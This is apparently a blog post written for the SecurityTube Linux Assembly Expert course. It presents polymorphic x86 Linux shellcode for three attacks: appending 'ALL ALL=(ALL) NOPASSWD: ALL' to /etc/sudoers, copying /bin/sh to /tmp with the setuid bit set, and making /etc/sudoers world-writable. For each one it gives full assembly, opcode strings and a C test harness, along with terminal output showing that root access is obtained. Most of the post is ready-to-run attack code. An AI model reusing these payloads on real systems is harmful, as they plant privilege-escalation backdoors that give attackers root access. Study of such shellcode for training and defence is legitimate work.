The next assignment for the SLAE is taking existing shellcode from shell-storm or exploit-db and making polymorphic versions for three of them.

edit /etc/sudoers with ALL ALL=(ALL) NOPASSWD: ALL

The first shellcode I decided to tackle polymorphism on is shellcode for adding ALL ALL=(ALL) NOPASSWD: ALL to /etc/sudoers. Original shellcode can be found here:

http://shell-storm.org/shellcode/files/shellcode-62.php

To better understand the shellcode I decided to put it through a debugger and to my surprise the shellcode actually doesn’t work at all. This is because the original shellcode doesn’t clear out registers in preparation of the syscalls.

In GDB below after the MOV dl, 0x1c instruction is called:

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x3 
ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EDX: 0xb7fbf81c --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff658 --> 0x0 
ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EIP: 0x804a088 --> 0x80cd04b0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a07f <code+63>:	push   0x204c4c41
   0x804a084 <code+68>:	mov    ecx,esp
   0x804a086 <code+70>:	mov    dl,0x1c
=> 0x804a088 <code+72>:	mov    al,0x4
   0x804a08a <code+74>:	int    0x80
   0x804a08c <code+76>:	mov    al,0x6
   0x804a08e <code+78>:	int    0x80
   0x804a090 <code+80>:	xor    ebx,ebx

You can see that EDX contains more than just 0x1c which causes the write() to fail.

The exit call suffers the same issue after doing a MOV al, 0x1.

[----------------------------------registers-----------------------------------]
EAX: 0xffffff01 
EBX: 0x0 
ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EDX: 0xb7fbf81c --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff658 --> 0x0 
ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EIP: 0x804a094 --> 0x80cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a08e <code+78>:	int    0x80
   0x804a090 <code+80>:	xor    ebx,ebx
   0x804a092 <code+82>:	mov    al,0x1
=> 0x804a094 <code+84>:	int    0x80
   0x804a096 <code+86>:	add    BYTE PTR [eax],al
   0x804a098:	add    BYTE PTR [eax],al
   0x804a09a:	add    BYTE PTR [eax],al
   0x804a09c:	add    BYTE PTR [eax],al

We can see EAX is populated 0xffffff01 which results in a seg fault when the interrupt is ran.

So all in all, the shellcode is fairly useless.

For the polymorphic and working version of the shellcode I’ve used the JMP CALL POP technique for getting the string to be written on the stack. The shellcode is also register independent, null free, and smaller than the original that didn’t work (decreased from 86 bytes to 79 bytes).

My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44507/

global _start

section .text

_start:

	xor edx, edx		; clear edx
	xor ecx, ecx		; clear ecx
	push edx		; terminating NULL
	push 0x7372656f 	; "sreo"
	push 0x6475732f		; "dus/"
	push 0x6374652f		; "cte/"
	mov ebx, esp		; point ebx to stack
	inc ecx			; ecx to 1
	mov ch, 0x4		; ecx to 401 O_WRONLY | O_APPEND
	push 0x5		; open()
	pop eax			
	int 0x80		; execute open
	xchg ebx, eax		; save fd in ebx
	
	jmp short setup

	
write:

	pop ecx			; pop "ALL ALL=(ALL) NOPASSWD: ALL"
	mov dl, 0x1c		; len 28
	push 0x4		; write()
	pop eax		
	int 0x80		; execute write

	push 0x1		; exit ()
	pop eax
	int 0x80
	
setup:
    call write
    db "ALL ALL=(ALL) NOPASSWD: ALL" , 0xa

Let’s test by compiling and extracting the shellcode.

root@ubuntu:~/SLAE/assignments/6$ ./compile.sh editsudoers_jmp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
root@ubuntu:~/SLAE/assignments/6# for i in $(objdump -d editsudoers_jmp |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a

C wrapper:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Compile without stack protection.

root@ubuntu:~/SLAE/assignments/6# gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

And finally test.

root@ubuntu:~/SLAE/assignments/6# ./shellcode
Shellcode Length:  79
root@ubuntu:~/SLAE/assignments/6# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
ALL ALL=(ALL) NOPASSWD: ALL

We can see the file has been successfully appended, so we should be able to sudo now without a password. Let’s test with our non-root user.

absolomb@ubuntu:~$ sudo bash
root@ubuntu:~#

Perfect!

cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh

The next shellcode on the menu is shellcode that copies /bin/sh into /tmp and sets the setuid bit on it.

Original shellcode here: http://shell-storm.org/shellcode/files/shellcode-540.php

I decided to start from scratch here and simplify things significantly in comparison to the original shellcode. Once again the JMP CALL POP technique was used, but this time for getting the commmand to be ran onto the stack. Original shellcode for this one was 126 bytes, mine accomplishes the same thing at 74 bytes.

My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44510/

global _start			

section .text
_start:

	push 0xb		; execve()		
	pop eax			;
	cdq    			; set edx to 0
	push edx		; NULL
	push word 0x632d	; "c-"	
	mov edi,esp		; point edi to stack
	push edx		; NULL
	push 0x68732f2f		; "hs//"
	push 0x6e69622f		; "/bin"
	mov ebx,esp		; point ebx to stack
	push edx		; NULL

	jmp short cmd

execute:

	push edi		; "c-"
	push ebx		; "/bin/sh"
	mov ecx,esp		; point to stack
	int 0x80		; execute execve


cmd:
	call execute
	db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh"

Compile and test.

absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh execve
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d execve |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x2b\x73\x20\x2f\x74\x6d\x70\x2f\x73\x68

Place shellcode in a C wrapper (same as above) and compile with GCC.

absolomb@ubuntu:~/SLAE/assignments/6$ gcc setuid.c -o setuid -fno-stack-protector -z execstack

Now run to test.

absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./setuid
Shellcode Length:  74
absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /tmp
total 144
drwxrwxrwt  7 root     root       4096 Apr 20 10:08 .
drwxr-xr-x 22 root     root       4096 Mar 19 16:33 ..
-rw-------  1 absolomb absolomb      0 Apr 20 06:28 config-err-o7e65E
drwxrwxrwt  2 root     root       4096 Apr 20 06:28 .ICE-unix
-rwsr-sr-x  1 root     absolomb 112204 Apr 20 10:09 sh
-rw-rw-r--  1 absolomb absolomb      0 Apr 20 06:28 unity_support_test.0
drwx------  2 absolomb absolomb   4096 Apr 20 06:28 vmware-absolomb
drwxrwxrwt  2 root     root       4096 Apr 20 06:28 VMwareDnD
drwx------  2 root     root       4096 Apr 20 06:57 vmware-root
-r--r--r--  1 root     root         11 Apr 20 06:28 .X0-lock
drwxrwxrwt  2 root     root       4096 Apr 20 06:28 .X11-unix

Our shell is indeed in /tmp with a root setuid.

absolomb@ubuntu:~/SLAE/assignments/6$ id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
absolomb@ubuntu:~/SLAE/assignments/6$ /tmp/sh
# id
uid=1000(absolomb) gid=1000(absolomb) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(absolomb)

Success!

chmod 777 /etc/sudoers

For the last shellcode I decided to tackle something a little smaller and just made minor tweaks to the existing shellcode found here:

https://www.exploit-db.com/exploits/43463/

The original shellcode was at 36 bytes and I reduced it down to 33 bytes by removing XOR instructions and replacing with CDQ and by PUSH and POPs to accomplish the same thing.

global _start
 
section .text
 
_start:
 
    cdq			; edx to 0
    push edx		; terminating NULL
    push 0x7372656f	; 'sreo'
    push 0x6475732f	; 'dus/'
    push 0x6374652f	; 'cte/'
    mov ebx, esp	; point ebx to stack
    mov cx, 0x1ff	; 777
    push 0xf		; chmod()
    pop eax		
    int 0x80		; execute chmod()
    push 0x1		; exit()
    pop eax
    int 0x80		; execute exit()

Let’s compile and test (you know the drill by now).

absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh chmod
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d chmod |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x99\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80
absolomb@ubuntu:~/SLAE/assignments/6$ vim shellcode.c
absolomb@ubuntu:~/SLAE/assignments/6$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./shellcode
Shellcode Length:  33
absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /etc/sudoers
-rwxrwxrwx 1 root root 745 Feb 10  2014 /etc/sudoers

All done!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1208

Github Repo: https://github.com/absolomb/SLAE